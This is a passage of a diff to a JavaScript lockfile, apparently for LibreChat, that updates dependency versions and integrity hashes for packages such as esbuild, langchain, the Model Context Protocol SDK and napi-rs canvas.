- "@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.1", "", { "os": "linux", "cpu": "x64" }, "sha512-xbfUhu/gnvSEg+EGovRc+kjBAkrvtk38RlerAzQxvMzlB4fXpCFCeUAYzJvrnhFtdeyVCDANSjJvOvGYoeKzFA=="],
+ "@esbuild/linux-x64": ["@esbuild/linux-x64@0.27.3", "", { "os": "linux", "cpu": "x64" }, "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA=="],
- "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.1", "", { "os": "none", "cpu": "arm64" }, "sha512-O96poM2XGhLtpTh+s4+nP7YCCAfb4tJNRVZHfIE7dgmax+yMP2WgMd2OecBuaATHKTHsLWHQeuaxMRnCsH8+5g=="],
+ "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA=="],
- "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.1", "", { "os": "none", "cpu": "x64" }, "sha512-X53z6uXip6KFXBQ+Krbx25XHV/NCbzryM6ehOAeAil7X7oa4XIq+394PWGnwaSQ2WRA0KI6PUO6hTO5zeF5ijA=="],
+ "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.3", "", { "os": "none", "cpu": "x64" }, "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA=="],
- "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-Na9T3szbXezdzM/Kfs3GcRQNjHzM6GzFBeU1/6IV/npKP5ORtp9zbQjvkDJ47s6BCgaAZnnnu/cY1x342+MvZg=="],
+ "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.3", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw=="],
- "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-T3H78X2h1tszfRSf+txbt5aOp/e7TAz3ptVKu9Oyir3IAOFPGV6O9c2naym5TOriy1l0nNf6a4X5UXRZSGX/dw=="],
+ "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.3", "", { "os": "openbsd", "cpu": "x64" }, "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ=="],
- "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-2H3RUvcmULO7dIE5EWJH8eubZAI4xw54H1ilJnRNZdeo8dTADEZ21w6J22XBkXqGJbe0+wnNJtw3UXRoLJnFEg=="],
+ "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g=="],
- "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-GE7XvrdOzrb+yVKB9KsRMq+7a2U/K5Cf/8grVFRAGJmfADr/e/ODQ134RK2/eeHqYV5eQRFxb1hY7Nr15fv1NQ=="],
+ "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.3", "", { "os": "sunos", "cpu": "x64" }, "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA=="],
- "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-uOxSJCIcavSiT6UnBhBzE8wy3n0hOkJsBOzy7HDAuTDE++1DJMRRVCPGisULScHL+a/ZwdXPpXD3IyFKjA7K8A=="],
+ "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA=="],
- "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.1", "", { "os": "win32", "cpu": "x64" }, "sha512-Y1EQdcfwMSeQN/ujR5VayLOJ1BHaK+ssyk0AEzPjC+t1lITgsnccPqFjb6V+LsTp/9Iov4ysfjxLaGJ9RPtkVg=="],
+ "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.3", "", { "os": "win32", "cpu": "ia32" }, "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q=="],
+
+ "@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.3", "", { "os": "win32", "cpu": "x64" }, "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA=="],
"@eslint-community/eslint-utils": ["@eslint-community/eslint-utils@4.9.0", "", { "dependencies": { "eslint-visitor-keys": "^3.4.3" }, "peerDependencies": { "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g=="],
@@ -1125,7 +1199,7 @@
"@eslint/core": ["@eslint/core@0.17.0", "", { "dependencies": { "@types/json-schema": "^7.0.15" } }, "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ=="],
- "@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="],
+ "@eslint/eslintrc": ["@eslint/eslintrc@3.3.5", "", { "dependencies": { "ajv": "^6.14.0", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.1", "minimatch": "^3.1.5", "strip-json-comments": "^3.1.1" } }, "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg=="],
"@eslint/js": ["@eslint/js@9.39.1", "", {}, "sha512-S26Stp4zCy88tH94QbBv3XCuzRQiZ9yXofEILmglYTh/Ug/a9/umqvgFtYBAo3Lp0nsI/5/qH1CCrbdK3AP1Tw=="],
@@ -1231,17 +1305,19 @@
"@floating-ui/utils": ["@floating-ui/utils@0.2.8", "", {}, "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="],
- "@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="],
+ "@google/genai": ["@google/genai@1.44.0", "", { "dependencies": { "google-auth-library": "^10.3.0", "p-retry": "^4.6.2", "protobufjs": "^7.5.4", "ws": "^8.18.0" }, "peerDependencies": { "@modelcontextprotocol/sdk": "^1.25.2" }, "optionalPeers": ["@modelcontextprotocol/sdk"] }, "sha512-kRt9ZtuXmz+tLlcNntN/VV4LRdpl6ZOu5B1KbfNgfR65db15O6sUQcwnwLka8sT/V6qysD93fWrgJHF2L7dA9A=="],
- "@googleapis/youtube": ["@googleapis/youtube@20.0.0", "", { "dependencies": { "googleapis-common": "^7.0.0" } }, "sha512-wdt1J0JoKYhvpoS2XIRHX0g/9ul/B0fQeeJAhuuBIdYINuuLt6/oZYZZCBmkuhtkA3IllXgqgAXOjLtLRAnR2g=="],
+ "@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="],
"@grpc/grpc-js": ["@grpc/grpc-js@1.9.15", "", { "dependencies": { "@grpc/proto-loader": "^0.7.8", "@types/node": ">=12.12.47" } }, "sha512-nqE7Hc0AzI+euzUwDAy0aY5hCp10r734gMGRdU+qOPX0XSceI2ULrcXB5U2xSc5VkWwalCj4M7GzCAygZl2KoQ=="],
"@grpc/proto-loader": ["@grpc/proto-loader@0.7.13", "", { "dependencies": { "lodash.camelcase": "^4.3.0", "long": "^5.0.0", "protobufjs": "^7.2.5", "yargs": "^17.7.2" }, "bin": { "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" } }, "sha512-AiXO/bfe9bmxBjxxtYxFAXGZvMaN5s8kO+jBHAJCON8rJoB5YS/D6X7ZNc6XQkuHNmyl4CYaMI1fJ/Gn27RGGw=="],
+ "@happy-dom/jest-environment": ["@happy-dom/jest-environment@20.8.3", "", { "dependencies": { "happy-dom": "^20.8.3" }, "peerDependencies": { "@jest/environment": ">=25.0.0", "@jest/fake-timers": ">=25.0.0", "@jest/types": ">=25.0.0", "jest-mock": ">=25.0.0", "jest-util": ">=25.0.0" } }, "sha512-VMOfNvF7UPPHIc7SUrFqGXqJrkONYX6Vd0ZXblmjgb1JA2RFnrc1KiVodzG0c7IT5Q0jfA0CQjvlqWjQ/BYtkQ=="],
+
"@headlessui/react": ["@headlessui/react@2.2.4", "", { "dependencies": { "@floating-ui/react": "^0.26.16", "@react-aria/focus": "^3.20.2", "@react-aria/interactions": "^3.25.0", "@tanstack/react-virtual": "^3.13.9", "use-sync-external-store": "^1.5.0" }, "peerDependencies": { "react": "^18 || ^19 || ^19.0.0-rc", "react-dom": "^18 || ^19 || ^19.0.0-rc" } }, "sha512-lz+OGcAH1dK93rgSMzXmm1qKOJkBUqZf1L4M8TWLNplftQD3IkoEDdUFNfAn4ylsN6WOTVtWaLmvmaHOUk1dTA=="],
- "@hono/node-server": ["@hono/node-server@1.19.7", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vUcD0uauS7EU2caukW8z5lJKtoGMokxNbJtBiwHgpqxEXokaHCBkQUmCHhjFB1VUTWdqj25QoMkMKzgjq+uhrw=="],
+ "@hono/node-server": ["@hono/node-server@1.19.11", "", { "peerDependencies": { "hono": "^4" } }, "sha512-dr8/3zEaB+p0D2n/IUrlPF1HZm586qgJNXK1a9fhg/PzdtkK7Ksd5l312tJX2yBuALqDYBlG20QEbayqPyxn+g=="],
"@humanfs/core": ["@humanfs/core@0.19.1", "", {}, "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA=="],
@@ -1251,6 +1327,10 @@
"@humanwhocodes/retry": ["@humanwhocodes/retry@0.4.3", "", {}, "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ=="],
+ "@iconify/types": ["@iconify/types@2.0.0", "", {}, "sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg=="],
+
+ "@iconify/utils": ["@iconify/utils@3.1.0", "", { "dependencies": { "@antfu/install-pkg": "^1.1.0", "@iconify/types": "^2.0.0", "mlly": "^1.8.0" } }, "sha512-Zlzem1ZXhI1iHeeERabLNzBHdOa4VhQbqAcOQaMKuTuyZCpwKbC2R4Dd0Zo3g9EAc+Y4fiarO8HIHRAth7+skw=="],
+
"@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.0.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ=="],
"@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.0.4" }, "os": "darwin", "cpu": "x64" }, "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q=="],
@@ -1315,7 +1395,7 @@
"@jest/expect-utils": ["@jest/expect-utils@29.7.0", "", { "dependencies": { "jest-get-type": "^29.6.3" } }, "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA=="],
- "@jest/fake-timers": ["@jest/fake-timers@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@sinonjs/fake-timers": "^10.0.2", "@types/node": "*", "jest-message-util": "^29.7.0", "jest-mock": "^29.7.0", "jest-util": "^29.7.0" } }, "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ=="],
+ "@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
"@jest/get-type": ["@jest/get-type@30.1.0", "", {}, "sha512-eMbZE2hUnx1WV0pmURZY9XoXPkUYjpc55mb0CrhtdWLtzMQPFvu/rZkTLZFTsdaVQa+Tr4eWAteqcUzoawq/uA=="],
@@ -1359,7 +1439,7 @@
"@langchain/aws": ["@langchain/aws@0.1.15", "", { "dependencies": { "@aws-sdk/client-bedrock-agent-runtime": "^3.755.0", "@aws-sdk/client-bedrock-runtime": "^3.840.0", "@aws-sdk/client-kendra": "^3.750.0", "@aws-sdk/credential-provider-node": "^3.750.0" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-oyOMhTHP0rxdSCVI/g5KXYCOs9Kq/FpXMZbOk1JSIUoaIzUg4p6d98lsHu7erW//8NSaT+SX09QRbVDAgt7pNA=="],
- "@langchain/core": ["@langchain/core@0.3.79", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-ZLAs5YMM5N2UXN3kExMglltJrKKoW7hs3KMZFlXUnD7a5DFKBYxPFMeXA4rT+uvTxuJRZPCYX0JKI5BhyAWx4A=="],
+ "@langchain/core": ["@langchain/core@0.3.80", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-vcJDV2vk1AlCwSh3aBm/urQ1ZrlXFFBocv11bz/NBUfLWD5/UDNMzwPdaAd2dKvNmTWa9FM2lirLU3+JCf4cRA=="],
"@langchain/deepseek": ["@langchain/deepseek@0.0.2", "", { "dependencies": { "@langchain/openai": "^0.5.5" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-u13KbPUXW7uhcybbRzYdRroBgqVUSgG0SJM15c7Etld2yjRQC2c4O/ga9eQZdLh/kaDlQfH/ZITFdjHe77RnGw=="],
@@ -1405,7 +1485,7 @@
"@lezer/lr": ["@lezer/lr@1.4.2", "", { "dependencies": { "@lezer/common": "^1.0.0" } }, "sha512-pu0K1jCIdnQ12aWNaAVU5bzi7Bd1w54J3ECgANPmYLtQKP0HBj2cE/5coBD66MT10xbtIuUr7tg0Shbsvk0mDA=="],
- "@librechat/agents": ["@librechat/agents@3.0.50", "", { "dependencies": { "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.79", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "axios": "^1.12.1", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "openai": "5.8.2" } }, "sha512-oovj3BsP/QoxPbWFAc71Ddplwd9BT8ucfYs+n+kiR37aCWtvxdvL9/XldRYfnaq9boNE324njQJyqc8v8AAPFQ=="],
+ "@librechat/agents": ["@librechat/agents@3.1.55", "", { "dependencies": { "@anthropic-ai/sdk": "^0.73.0", "@aws-sdk/client-bedrock-runtime": "^3.980.0", "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.80", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "@scarf/scarf": "^1.4.0", "axios": "^1.13.5", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "okapibm25": "^1.4.1", "openai": "5.8.2" } }, "sha512-impxeKpCDlPkAVQFWnA6u6xkxDSBR/+H8uYq7rZomBeu0rUh/OhJLiI1fAwPhKXP33udNtHA8GyDi0QJj78R9w=="],
"@librechat/api": ["@librechat/api@workspace:packages/api"],
@@ -1421,14 +1501,44 @@
"@mcp-ui/client": ["@mcp-ui/client@5.7.0", "", { "dependencies": { "@modelcontextprotocol/sdk": "*", "@quilted/threads": "^3.1.3", "@r2wc/react-to-web-component": "^2.0.4", "@remote-dom/core": "^1.8.0", "@remote-dom/react": "^1.2.2", "react": "^18.3.1", "react-dom": "^18.3.1" } }, "sha512-+HbPw3VS46WUSWmyJ34ZVnygb81QByA3luR6y0JDbyDZxjYtHw1FcIN7v9WbbE8PrfI0WcuWCSiNOO6sOGbwpQ=="],
+ "@mermaid-js/parser": ["@mermaid-js/parser@1.0.1", "", { "dependencies": { "langium": "^4.0.0" } }, "sha512-opmV19kN1JsK0T6HhhokHpcVkqKpF+x2pPDKKM2ThHtZAB5F4PROopk0amuVYK5qMrIA4erzpNm8gmPNJgMDxQ=="],
+
"@microsoft/microsoft-graph-client": ["@microsoft/microsoft-graph-client@3.0.7", "", { "dependencies": { "@babel/runtime": "^7.12.5", "tslib": "^2.2.0" } }, "sha512-/AazAV/F+HK4LIywF9C+NYHcJo038zEnWkteilcxC1FM/uK/4NVGDKGrxx7nNq1ybspAroRKT4I1FHfxQzxkUw=="],
"@mistralai/mistralai": ["@mistralai/mistralai@1.10.0", "", { "dependencies": { "zod": "^3.20.0", "zod-to-json-schema": "^3.24.1" } }, "sha512-tdIgWs4Le8vpvPiUEWne6tK0qbVc+jMenujnvTqOjogrJUsCSQhus0tHTU1avDDh5//Rq2dFgP9mWRAdIEoBqg=="],
- "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.25.0", "", { "dependencies": { "@hono/node-server": "^1.19.7", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "jose": "^6.1.1", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.0" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-z0Zhn/LmQ3yz91dEfd5QgS7DpSjA4pk+3z2++zKgn5L6iDFM9QapsVoAQSbKLvlrFsZk9+ru6yHHWNq2lCYJKQ=="],
+ "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.27.1", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-sr6GbP+4edBwFndLbM60gf07z0FQ79gaExpnsjMGePXqFcSSb7t6iscpjk9DhFhwd+mTEQrzNafGP8/iGGFYaA=="],
+
+ "@monaco-editor/loader": ["@monaco-editor/loader@1.7.0", "", { "dependencies": { "state-local": "^1.0.6" } }, "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA=="],
+
+ "@monaco-editor/react": ["@monaco-editor/react@4.7.0", "", { "dependencies": { "@monaco-editor/loader": "^1.5.0" }, "peerDependencies": { "monaco-editor": ">= 0.25.0 < 1", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA=="],
"@mongodb-js/saslprep": ["@mongodb-js/saslprep@1.3.1", "", { "dependencies": { "sparse-bitfield": "^3.0.3" } }, "sha512-6nZrq5kfAz0POWyhljnbWQQJQ5uT8oE2ddX303q1uY0tWsivWKgBDXBBvuFPwOqRRalXJuVO9EjOdVtuhLX0zg=="],
+ "@napi-rs/canvas": ["@napi-rs/canvas@0.1.96", "", { "optionalDependencies": { "@napi-rs/canvas-android-arm64": "0.1.96", "@napi-rs/canvas-darwin-arm64": "0.1.96", "@napi-rs/canvas-darwin-x64": "0.1.96", "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.96", "@napi-rs/canvas-linux-arm64-gnu": "0.1.96", "@napi-rs/canvas-linux-arm64-musl": "0.1.96", "@napi-rs/canvas-linux-riscv64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-musl": "0.1.96", "@napi-rs/canvas-win32-arm64-msvc": "0.1.96", "@napi-rs/canvas-win32-x64-msvc": "0.1.96" } }, "sha512-6NNmNxvoJKeucVjxaaRUt3La2i5jShgiAbaY3G/72s1Vp3U06XPrAIxkAjBxpDcamEn/t+WJ4OOlGmvILo4/Ew=="],
+
+ "@napi-rs/canvas-android-arm64": ["@napi-rs/canvas-android-arm64@0.1.96", "", { "os": "android", "cpu": "arm64" }, "sha512-ew1sPrN3dGdZ3L4FoohPfnjq0f9/Jk7o+wP7HkQZokcXgIUD6FIyICEWGhMYzv53j63wUcPvZeAwgewX58/egg=="],
+
+ "@napi-rs/canvas-darwin-arm64": ["@napi-rs/canvas-darwin-arm64@0.1.96", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Q/wOXZ5PzTqpdmA5eUOcegCf4Go/zz3aZ5DlzSeDpOjFmfwMKh8EzLAoweQ+mJVagcHQyzoJhaTEnrO68TNyNg=="],
+
+ "@napi-rs/canvas-darwin-x64": ["@napi-rs/canvas-darwin-x64@0.1.96", "", { "os": "darwin", "cpu": "x64" }, "sha512-UrXiQz28tQEvGM1qvyptewOAfmUrrd5+wvi6Rzjj2VprZI8iZ2KIvBD2lTTG1bVF95AbeDeG7PJA0D9sLKaOFA=="],
+
+ "@napi-rs/canvas-linux-arm-gnueabihf": ["@napi-rs/canvas-linux-arm-gnueabihf@0.1.96", "", { "os": "linux", "cpu": "arm" }, "sha512-I90ODxweD8aEP6XKU/NU+biso95MwCtQ2F46dUvhec1HesFi0tq/tAJkYic/1aBSiO/1kGKmSeD1B0duOHhEHQ=="],
+
+ "@napi-rs/canvas-linux-arm64-gnu": ["@napi-rs/canvas-linux-arm64-gnu@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-Dx/0+RFV++w3PcRy+4xNXkghhXjA5d0Mw1bs95emn5Llinp1vihMaA6WJt3oYv2LAHc36+gnrhIBsPhUyI2SGw=="],
+
+ "@napi-rs/canvas-linux-arm64-musl": ["@napi-rs/canvas-linux-arm64-musl@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-UvOi7fii3IE2KDfEfhh8m+LpzSRvhGK7o1eho99M2M0HTik11k3GX+2qgVx9EtujN3/bhFFS1kSO3+vPMaJ0Mg=="],
+
+ "@napi-rs/canvas-linux-riscv64-gnu": ["@napi-rs/canvas-linux-riscv64-gnu@0.1.96", "", { "os": "linux", "cpu": "none" }, "sha512-MBSukhGCQ5nRtf9NbFYWOU080yqkZU1PbuH4o1ROvB4CbPl12fchDR35tU83Wz8gWIM9JTn99lBn9DenPIv7Ig=="],
+
+ "@napi-rs/canvas-linux-x64-gnu": ["@napi-rs/canvas-linux-x64-gnu@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-I/ccu2SstyKiV3HIeVzyBIWfrJo8cN7+MSQZPnabewWV6hfJ2nY7Df2WqOHmobBRUw84uGR6zfQHsUEio/m5Vg=="],
+
+ "@napi-rs/canvas-linux-x64-musl": ["@napi-rs/canvas-linux-x64-musl@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-H3uov7qnTl73GDT4h52lAqpJPsl1tIUyNPWJyhQ6gHakohNqqRq3uf80+NEpzcytKGEOENP1wX3yGwZxhjiWEQ=="],
+
+ "@napi-rs/canvas-win32-arm64-msvc": ["@napi-rs/canvas-win32-arm64-msvc@0.1.96", "", { "os": "win32", "cpu": "arm64" }, "sha512-ATp6Y+djOjYtkfV/VRH7CZ8I1MEtkUQBmKUbuWw5zWEHHqfL0cEcInE4Cxgx7zkNAhEdBbnH8HMVrqNp+/gwxA=="],
+
+ "@napi-rs/canvas-win32-x64-msvc": ["@napi-rs/canvas-win32-x64-msvc@0.1.96", "", { "os": "win32", "cpu": "x64" }, "sha512-UYGdTltVd+Z8mcIuoqGmAXXUvwH5CLf2M6mIB5B0/JmX5J041jETjqtSYl7gN+aj3k1by/SG6sS0hAwCqyK7zw=="],
+
"@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@0.2.12", "", { "dependencies": { "@emnapi/core": "^1.4.3", "@emnapi/runtime": "^1.4.3", "@tybys/wasm-util": "^0.10.0" } }, "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ=="],
"@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="],
@@ -1479,11 +1589,11 @@
